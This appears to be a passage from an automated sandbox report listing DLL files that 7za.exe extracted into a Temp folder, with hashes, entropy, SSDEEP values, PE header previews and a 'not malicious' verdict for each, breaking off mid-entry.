MD5:	30260BE3F0EF942E7616935471CA5374
SHA1:	437361676F0228459E770C578A00D823F05D9B41
SHA-256:	9C8B8400D0F875AC4AD1D60085C89E4827FA07B5C835818B49CBDA9F749DAE5E
SHA-512:	201D9A7438441DBD7DB52596C591A652D6D0000F2382C5DB6E22B02FBFE59C3BDB2A162D4A268972F51650DF2314C010E00B62292AF3102D89B992FAC9F14B34
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\B.H=,.H=,.H=,.AE..J=,.'K..J=,..s..I=,.'K..I=,.'K..A=,.'K..L=,.S...K=,.H=-..=,.S...K=,.S...I=,.S...I=,.S...I=,.RichH=,.................PE..d.....X.........." .....8...`.......=..............................................T=....@.........................................p........o..P...............t...............(....T...............................................P...............................text....7.......8.................. ..`.rdata...K...P...L...<..............@..@.data...............................@....pdata..t...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_GenericContainer_AVI_4.5.16_vs10.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	5.5767989133204425
Encrypted:	false
SSDEEP:	384:PhoUaIUSI1PJQKmJDQk8GKjEXVa33SuQvvpCSWYyAIFDOlk6SX:Jha/SIpJQKwQ/jqVi0kSWPFDOli
MD5:	9A0FCD773CFB952A7A76CB56081C7242
SHA1:	2014B923467FA0D8756E40E272ADE88C2E47FFD3
SHA-256:	9D044A088E9808016538E11951BF15C7B6ADCA27A00BC47C4298890B4E5D2A22
SHA-512:	A83D66A48A2195C8A55CA2B2FE8FC08B5029EC57D4001C0AB395D4C8ED8DE8475960F1F5D9E6712DC005C65DC671BC4A38F575D914E90F38E52D804B37D850E2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............s...s...s......s.......s.O.....s.......s.......s.......s..U....s...r...s..U....s..U....s..U....s..U....s.Rich..s.........................PE..d...}..X.........." .....,...4.......1..............................................T.....@..........................................^.......Q..P...............l...............L...`B...............................................@..0............................text....*.......,.................. ..`.rdata...$...@...&...0..............@..@.data...X....p.......V..............@....pdata..l............X..............@..@.rsrc................\..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.648390778463724
Encrypted:	false
SSDEEP:	768:wQ7Yd2EYIyBhlY62vIwIwOh4qqrh3VOluGtyZd:wQ8dPj62vIw9OoOlPyZ
MD5:	AA1E3C50A0976CC3297B1DC1C229E0FB
SHA1:	55F475AB89235AF8D589364F4E4A03A0FDB5C072
SHA-256:	C81194DDDA474B3B6A9375680461BD4A88854C92F17C3DF884728111D785ECED
SHA-512:	E1D34BBC6168C8BBAC9BE264DFCBFFA192C0E78A0C0618D06C009035415A3BB1DF110FFE00E1CF94704827FA5265FE227CA11EFFDA67795DC4180389492E38A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.....k...k...k.......k.s.....k.......k.s.....k.s.....k.s.....k..T....k...j.j.k..T....k..T....k..T....k..T....k.Rich..k.........PE..d......X.........." .....8...Z.......;...............................................\....@.................................................,p..P...............h....................S...............................................P...............................text....7.......8.................. ..`.rdata...E...P...F...<..............@..@.data...p...........................@....pdata..h...........................@..@.rsrc...............................@..@.reloc..T...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_Modules_DataIO_1.4.22_vs10.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24064
Entropy (8bit):	5.512273805936711
Encrypted:	false
SSDEEP:	384:Y73igMBoAXxOpiXtdbLLpqtHjybiVoOlk6xvlRH:YOxOpmLEjybi6Ol5lB
MD5:	FEE62389D41DE857A366517B42CB6F29
SHA1:	635B97CBA8CFF5377A08607DFCCFD590075D1B2E
SHA-256:	32656A3F9248BA7520205F291E389FFC9920342C813865C7FA60CEF2389613E2
SHA-512:	4E55BA7C0399DD480256D958E554D6E8609D54FA8E5B71749272B537CC45C68E9E31D124F142CFF5A33F05EFFB78092F334D41D87390FDD277C3C5F72F86F3B2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Vr...............kf.....}ei......]m.....}ek.....}e_.....}e^.......i...............Z.......n.......h.....Rich....................PE..d....E.X.........." .....&...4.......,..............................................!.....@..........................................\..b...4R..P...............................d....B...............................................@...............................text....%.......&.................. ..`.rdata..r&...@...(...*..............@..@.data...H....p.......R..............@....pdata...............V..............@..@.rsrc................Z..............@..@.reloc...............\..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\PRM.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29824
Entropy (8bit):	6.039838597688421
Encrypted:	false
SSDEEP:	384:n++gVRZmK7X+PouLyd1nRABercwHCajwWriXqyOwaQQRKSwsjtaGx5JNNzFwhhi7:n+90ZGdm2i6AfkfB33whmDT
MD5:	0FDDEC2C94465A6B68BF71A0510B75DA
SHA1:	0D1F7BACABB3A3AA37C227C730349C2B354291B6
SHA-256:	3778715E9997A36F24D7B131033BA00EC79E6957495F87D619679C584AA032AE
SHA-512:	7DE66ABD72A7110C5E6B927D7E2ACF6BA13C8630A4B7A2F669F9336F315448750878428CDEE8EBE3367590FD90203767286EDC1DBF570373A0A9417046AF7F94
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........aM...#...#...#..x....#..^ ...#..^&...#..^'...#..^"...#......#.T^"...#..."...#.T^&...#.T^#...#.Q^...#.......#.T^!...#.Rich..#.........................PE..d.....X.........." .....&...4......x$........@.....................................d..... ..........................................P.......S...............p.......X..........D....C..T...........................PD...............@...............................text....$.......&.................. ..`.rdata.......@.......*..............@..@.data........`.......H..............@....pdata.......p.......J..............@..@.gfids..4............N..............@..@.rsrc................P..............@..@.reloc..D............V..............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\PlugPlugExternalObject.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36992
Entropy (8bit):	5.910722507912451
Encrypted:	false
SSDEEP:	384:W3v2f73zcgLU3BRsUl2sMiMyvf6dkfXLiLF0GfyHw7pRK4RKSwsjtiGt5JNNzFwb:WeMDGzNXyGHNRKcfpj3whh
MD5:	BD8F32EF749328AD76D8B16C6AFDAEE7
SHA1:	F8F3195DD3177182333C137FFEBA941CCE21F996
SHA-256:	D0FBCF7A31E137BDC22CA3561A5694DE36E3FDCC70823EF3B5A4D18BA5AB873E
SHA-512:	BB3B013CCFCDA902B8456103DCE5CDC3D6E8D5060994467FF50A20DC14949517F2EFC2086FBB27774D3E72F6E0A92810C58581D2C813817BAE0C6B0BE1429198
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........')..FG..FG..FG..>..FG...D..FG...B..FG...C..FG...F..FG.2....FG..FF..FG...N..FG...G..FG......FG..F..FG...E..FG.Rich.FG.................PE..d......X.........." .....4...B......`5...................................................`..........................................f.......g..................,....t...............V..p...........................pV...............P..h............................text....3.......4.................. ..`.rdata...$...P...&...8..............@..@.data................^..............@....pdata..,............b..............@..@.gfids..,............h..............@..@.rsrc................j..............@..@.reloc...............r..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\boost_system.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34944
Entropy (8bit):	5.892574430686721
Encrypted:	false
SSDEEP:	384:Zj17tArbZZb8GoVlPuWawUCfoBSrVgwSoRRi6wwJg2jFoRKSwsjtiGX65JNNzFwf:ZErHoVlPdrVgwrRi6wkljFMfpk3wh5
MD5:	E34FE9F692579294041A185F3C1C0A82
SHA1:	38D9DFC8FE524D44083EB07B3C0FFCB900E598C4
SHA-256:	A16ADF54B70D59F9A9B1BCEE3C296E2588B8FF757F8A68A0747736C163F0EF61
SHA-512:	428A1F99C6DB7F7C4E5C45A606B7241891BFE5A4E2D90D2DA6740CA757873ACA7A98B940D54E4AC90054CB3B85B4997A19A0EA88D7465454298A820584CD3102
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#...#...#.....'.......!.......2.......(.......'....[r. ...#...........!.......".....F."...#..."......."...Rich#...........PE..d......X.........." .....4...:.......2........@........................................... .........................................`d......$e..x....................l..........\|....U..T....................V..(...pU...............P...............................text....3.......4.................. ..`.rdata.......P.......8..............@..@.data...h....p.......V..............@....pdata...............Z..............@..@.tls.................`..............@....gfids..<............b..............@..@.rsrc................d..............@..@.reloc..\|............j..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mp2m.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30640
Entropy (8bit):	6.1228618847576675
Encrypted:	false
SSDEEP:	384:9fWckZmW2CymBYlSAw3v3WUzGm5IFUKZ0MFmP0gsgHVETM9yI6gb36cR8rnYPLsN:VWcUbYlG/WZ3FmPWgig9pq7V09dK/
MD5:	8CBA615556BDCFBE28BD1936A30C28DE
SHA1:	A9426C52158FB4BA5DC53F4CE8D551471C40D652
SHA-256:	14B5E3E0202214F685E857BE409FB756912E2DB5E8284AE1C1A11FBFDDEF1341
SHA-512:	C261CFEDF34899E7B6D4B013EE1F0633F6403793859560EE7D478243A7E78A7B90D0EEAE7E13D8F35D54A309A1C428AAF4ECB5B35BB5B089A88BF2E4CD2B59BE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:9k.~X..~X..~X..w ..\|X......}X..~X..EX......\|X......uX......\|X..e...X..e..\|X..e...X..e...X..e...X..Rich~X..........PE..d....5.X.........." .....<...$.......E...................................................@..........................................`..Y...([..<....................`...............R...............................................P...............................text...2;.......<.................. ..`.rdata..)....P.......@..............@..@.data........p.......R..............@....pdata...............T..............@..@.rsrc................X..............@..@.reloc..$............^..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mp2v.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	40368
Entropy (8bit):	6.094910221394567
Encrypted:	false
SSDEEP:	768:tBKOA2PSeVTFp/JBV6IRhAV2SlgSaX8J/q7Vt:tBKkVbJB8V2SlmX8J/It
MD5:	0F6A4B70A54639DAB6928AA7BBCBC1D4
SHA1:	FEAF200B003B677508744AD4A11E898CD89D668B
SHA-256:	183EDF310DC4E4753190C14D45045F7425038D49B13658AA3C463204C4A69C45
SHA-512:	ECE7DC4A8B2D41B26A14ED4C0AC33F4870140A1F3595A2DB77EF891E2A703974A39EA76D4BFE2B5094854CB41438F1E2EE7DB1BDB8C46EBB347A567A282F33A5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d^e. ?.. ?.. ?..)G.."?..OI..#?.. ?...?..OI.."?..OI..+?..OI.."?..;...#?..;..."?..;...!?..;...!?..;...!?..Rich ?..................PE..d....5.X.........." .....Z...,.......d....................................................@.............................................Y.......<................................... r...............................................p...............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data................v..............@....pdata...............x..............@..@.rsrc................~..............@..@.reloc..$...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mp4v.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31152
Entropy (8bit):	6.089596215494929
Encrypted:	false
SSDEEP:	384:8hY812E8rWJzOQsMahWCMAX40L3OcqKGkezr5QCzYqv9yI6cs73RqnYPLsxVDyj:kcSzS7gYkaeztzsqv9cw7VI
MD5:	0E069B4D700AC1DB9B11A183635B3146
SHA1:	3F3874A612C3662FFF57225F3DF474815A4721CF
SHA-256:	EBD7041D300CE29EA60714D63431F4920444EE9E1CBF408D3FEC4758E386C91A
SHA-512:	FBAB80984FDC018151961246C2DA22B44FCAC5B7E65256650F45DB9C7B4761A5C9CE3F869CD4A843D1C3DC27075D20BE726013D00C88B1F1106F423DBDA33123
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2...\.\.\....\.....\.].\.....\.....\.....\....\....\....\....\....\.Rich..\.........PE..d....5.X.........." .....<...&.......F....................................................@..........................................b..Y...P\..<...............`....b...............R...............................................P...............................text...r;.......<.................. ..`.rdata..Y....P.......@..............@..@.data........p.......T..............@....pdata..`............V..............@..@.rsrc................Z..............@..@.reloc..$............`..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mpa.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29616
Entropy (8bit):	6.042564704074876
Encrypted:	false
SSDEEP:	384:tFsenjoaqOPEjVToH16QXgKozAIFvpSgytgLYnYJOOYh9yI6ziWalrrnYPLsxVvr:TciEjVTlShCFx9yISYJ5S9lp7Vfr
MD5:	9D4901CB4E71659DD973B6161A58C547
SHA1:	6CBE92E95747426268E63A921E69D5AFFBB214A8
SHA-256:	2CD10E246388853C9252F133E63DCA439BAC63F543C478BDC52E94E783C46EBC
SHA-512:	0205AB5253318B77F2C9E37DB505E0F2538B3B2510CCEF0F007EB7FB0236B9BDC5240F8D08811D289C97D0F6AF97AA00D9CD942DD27723F6B51ADD8C4532D0EC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:9k.~X..~X..~X..w ..\|X......}X..~X..EX......\|X......uX......\|X..e...X..e..\|X..e...X..e...X..e...X..Rich~X..........PE..d....5.X.........." .....8...$.......@..............................................6(....@......................................... `..W...pZ..<....................\...............R...............................................P...............................text..."6.......8.................. ..`.rdata..w....P.......<..............@..@.data........p.......N..............@....pdata...............P..............@..@.rsrc................T..............@..@.reloc..$............Z..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_pcm.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29104
Entropy (8bit):	6.086969966704796
Encrypted:	false
SSDEEP:	384:50XckGI2b2fhO450wYiaQHwc4fS1Ms06OLoihN/kZbzE9yI6utnm5JnYPLsxVK/:OP2ah/qwMCXMs06yoihSZbzE99lY7VI
MD5:	B6375C003F8388C923419CEF5F22EB86
SHA1:	D07C5F8FE71758B8272C3C66308A80872BEE829F
SHA-256:	6725FA5E9DD324A5C69DD050A01275B8DF2676342E3E2451D2BEFDD9519FB8D6
SHA-512:	11DB0C38FEE3A22CC5FB8F3C72239165453F241C991752F3EFD1FBA7AA1B8EFAD640954BF00DB13AEC6F20C3118AA7711CDABBE1089A933932D9520057057BD2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:9k.~X..~X..~X..w ..\|X......}X..~X..EX......\|X......uX......\|X..e...X..e..\|X..e...X..e...X..e...X..Rich~X..........PE..d....5.X.........." .....6...$......X@...............................................`....@.........................................._..W...@Z..<....................Z...............R...............................................P...............................text....5.......6.................. ..`.rdata..G....P.......:..............@..@.data........p.......L..............@....pdata...............N..............@..@.rsrc................R..............@..@.reloc..$............X..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_dec_spic.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24496
Entropy (8bit):	6.3116495999666755
Encrypted:	false
SSDEEP:	384:aq2bAQY3CHPF1xi7j83j6D+RwYE97kk6rv7AyinFinYPLsxVCmx:mAQ9i7g3jUYE97kbvMhc7VCmx
MD5:	ACD916A10A5A85508BA3A2582BDB1DFB
SHA1:	1746729D619E93F421CFD4D44972B3B26EDE8E2D
SHA-256:	EAE8879FF198F7DA4C01E0524681591A1233C83C937D87E59C2F7706FB127AD4
SHA-512:	95ADB09DAFD0E673A360A077CD4F12AD38A35861017435356F061337A7FAF8C73E4A1A0E6282A6113870AF9DACA506B57297F1D1456E793CD3DC1A725177DC58
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H..j)u.j)u.j)u.cQ..h)u.._..i)u.j)t.H)u.._..k)u.._..a)u.._..h)u.q...h)u.q...k)u.q...k)u.q...k)u.Richj)u.................PE..d....9.X.........." .....,..........x6...............................................l....@......................................... I..\...4E..<....p..H....`..(....H..............PA...............................................@.. ............................text....+.......,.................. ..`.rdata..\|....@.......0..............@..@.data........P.......:..............@....pdata..(....`.......<..............@..@.rsrc...H....p.......@..............@..@.reloc..$............F..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_demux_dv.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	41392
Entropy (8bit):	6.326660593710435
Encrypted:	false
SSDEEP:	768:JZxa52ZDPAoz0lZZGnz16+GsVt17rfnTLuIBC7Vt:XPAenQh0l/uYAt
MD5:	DADFAD023675C4E140DE34D63AF37662
SHA1:	D641510DFC2C38FCE0BCA15A089523284647627D
SHA-256:	0F15603446E2018610E0434E0224933D43023C30A6E7F503A428066CEEE4D8A9
SHA-512:	60F6D373F173E8ED36452CEA09C020EF679B0467555491FA9DBAFA2FC65DF55D44B1CE3731EC78B69641721AAC07D360447AB73CFAEBAAEEDCD97E41B0D3BCE5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z....f...f...f..c....f..m....f...g...f..m....f..m...f..m...f......f.......f.......f.......f.Rich..f.........................PE..d...t:.X.........." .....0...Z.......9....................................................@....................................................<...............<...................@A...............................................@...............................text............0.................. ..`.rdata..FF...@...H...4..............@..@.data................\|..............@....pdata..<............~..............@..@.rsrc...............................@..@.reloc..$...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_enc_mp2sr.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34736
Entropy (8bit):	6.171382584004208
Encrypted:	false
SSDEEP:	384:qXpUP7MfPpGqtDHbV6pGfNfMqJ6FlrnBoHVU+ESnvsZc3EK+CCEUGitiDyI63EKb:qX6Pu9VBNfMqJ2loHvH3EcisILs7V5U
MD5:	2649AF1A0AE231F15483561783389101
SHA1:	AF6DC6F4F25FDFA8458B17CB493A37F925173C96
SHA-256:	E2393F80734BF5418AA3FC9184E41661488EDEB27AF653D87429539BABF378DF
SHA-512:	0402B7DF51AFD660E0FA66CCD2026D4943423DECF8FA7C506D9586F9E3A4984F0C28B4C06B13778EBAF2193354467D5D9D5A0CB6524113032A725E592FF2CF41
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..Ar...r...r...{._.p.....P.q...r...^.....R.p.....f.y.....g.p...i.f.s...i.g.w...i.W.s...i.V.s...i.Q.s...Richr...........................PE..d....:.X.........." .....>...4.......F...............................................Y....@..........................................m......Hh..<....................p...............Q...............................................P..p............................text....<.......>.................. ..`.rdata.......P... ...B..............@..@.data...X....p.......b..............@....pdata...............d..............@..@.rsrc................h..............@..@.reloc..$............n..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_enc_pcm.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37808
Entropy (8bit):	6.338865871604397
Encrypted:	false
SSDEEP:	768:lK14H2gUd4uhcu3KtrfWIEDE0EBjBdzQtTKhN3ecnICn7VD:yGUduKgxBj3zQYhYcnICpD
MD5:	88E44AB7DD884E08CEF298B348224795
SHA1:	C4F1C8752FB2CCF9D2B7C3B44BED70BD40788BF7
SHA-256:	639EB305C4A47CD819AFB1561D0264DD806D05168967ED8C2C0D7EAFF9A529C3
SHA-512:	14D9C095989788DA9EC16A667AFE742A2F724BDB99DC73FBC93AD47362325855BF474E5AF685346C7CF3FED93F10C86A1C6D3A7BA5731A36DE49A7C7E1014E6E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............g...g...g.......g.......g...f...g.......g......g......g..R...g..R....g..R....g..R....g.Rich..g.........PE..d...-6.X.........." .....N...0.......W....................................................@..........................................x.......t..<....................\|..........(...Pa...............................................`.. ............................text....M.......N.................. ..`.rdata.......`.......R..............@..@.data................l..............@....pdata...............r..............@..@.rsrc................v..............@..@.reloc..x............z..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_mux_dv.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	40368
Entropy (8bit):	6.292799900511017
Encrypted:	false
SSDEEP:	768:oGwcZSJf5YLDnz16+GsVt17rfnTL1wt7VA:GWQh0l/1wTA
MD5:	F29BDD752B692E7C8F382D4DAB47597B
SHA1:	317C972D7F7F662EC9B30A2D14FF9CDAC637533F
SHA-256:	311854DC63974356CFCCB112D345E461BDCFC98ED44D61AF8DB3F9AC33E59CB0
SHA-512:	D958121A4ED2BA36D773531DAFD2230E20EEB2585DFDF765B591D773F1F6ADCC1E732C0DAA27179430EBD0ED9861ADABD5D7B3A801913B238D0157B499E76375
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a...............xZ.....vU.............vW.....vc.....vb......c......R......S......T.....Rich....................PE..d...v:.X.........." .....,...Z.......5..............................................l_....@.............................................f......<...................................@A...............................................@...............................text....+.......,.................. ..`.rdata...F...@...H...0..............@..@.data................x..............@....pdata...............z..............@..@.rsrc................~..............@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_trans_audio_converter.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37296
Entropy (8bit):	6.394072983348888
Encrypted:	false
SSDEEP:	384:2w7iBMkDoszsSTNtNtrZ1WCducYXdPsbjrJYzYkqQHc4NRiANGG+cGLeHeC+ikkA:uhxAWNtNtrZ1WCasrGNoAmEs5k7Vm
MD5:	B24E3E00ECDC7E900A885C382A2AD80A
SHA1:	64316BCD8ED7D2C2449274D012DE85CAE46BC0F6
SHA-256:	C91BC64000369EB1391AB6D31170A164A98BA32F5944E68368ACCA29D6B88F3A
SHA-512:	F441F5801BACEAB1BDB9598CDB669728872BC418082D2CA5BEEBF8D2CE1D7B4B6B8ADF6AE6A49248FACB2F023E50655504417C3624670B8AD394A45EB45173EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........DD.......................+....................u......u......u......u.....Rich...................PE..d...\|A.X.........." .....N...,.......X............................................... ....@......................................... u.......p..<.......H.......4....z..............pa...............................................`..@............................text...bM.......N.................. ..`.rdata.......`.......R..............@..@.data................j..............@....pdata..4............l..............@..@.rsrc...H............r..............@..@.reloc..$............x..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_trans_video_framerate.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27056
Entropy (8bit):	6.187708436158289
Encrypted:	false
SSDEEP:	384:JLL3u3xicK5OASwnqEQvE6BKMcG6r6mvzDLDG+cwceiIbO/k67UMtY5nYPLsxV8H:B3w+OEMv+MnAf9bO/rdo7Vq
MD5:	33A2A9C044636C003C39A0DC38ABE652
SHA1:	A6C8BBB7C3B86675196979135D45302821785BD7
SHA-256:	CB589F323BA5752BD38E1010C432CACFA7F898DE1CB6BFBA4815D8D4322E212F
SHA-512:	F00E7B541BEE8AD74820098F1D9684F202DA667A791956760DC1D3E6D9B2916AEEC21D0C87879C06A95947FC49D40C1DABF303E4B02C768EA576FDE2D4A35017
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q!..5@.U5@.U5@.U<8.U7@.UZ6.U6@.U5@.U.@.U...U4@.UZ6.U4@.UZ6.U9@.UZ6.U1@.U..U6@.U..U4@.U..U4@.U..U4@.URich5@.U........PE..d...}A.X.........." .........&......x5...............................................>....@..........................................P.......K..<.......h....p.......R..........H....A...............................................@..h............................text....,.......................... ..`.rdata.......@.......2..............@..@.data...x....`.......D..............@....pdata.......p.......F..............@..@.rsrc...h............J..............@..@.reloc...............P..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mfc100chs.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	37016
Entropy (8bit):	5.640762624983208
Encrypted:	false
SSDEEP:	384:S1ndBysNKvsXsWPWA5YbRWktLiBrHuuPgldyevyBbXVLN1uC77q0GftpBjKBlzGg:S5divsXBQptLkrHyTby9XVLLiyag
MD5:	FDC71D7C32479A9429B9EAE60D0F4B92
SHA1:	4E10B1EF5544EA9109BC9DFF5D7323E6817B72FB
SHA-256:	85D18D10989543586F384CE8E1BD121E9D0E69F83943FC6DA04A3F7D4A21C598
SHA-512:	EA4E1241B06556DBAC5539AF3657891DF3024168269BB0F4862377C295C84122E6A75CCDB2632CACC025705E8E3E678F8EA3EF131935C069365FDE92D938C8A0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L.....X.........."!.........t....................6]......................................@..............................................r...........v...............................................................................................rsrc....r.......t..................@..@....................................................8.......P.......8....... .......8....................>..P....................>..h....>.......?.......?.......?.......?.......?.......?.......?..(....A..@....B..X... B..p...AB......BB......CB......VB......lB.......B.......B.......B..0....x..H....x..`....x..x....x.......~.......~.......~....................;..................... .......8.......P.......h...........!.......(.......).......*.......,.......-...........(.......@.......X.......p...........................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mfc100cht.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	37016
Entropy (8bit):	5.6974279314875655
Encrypted:	false
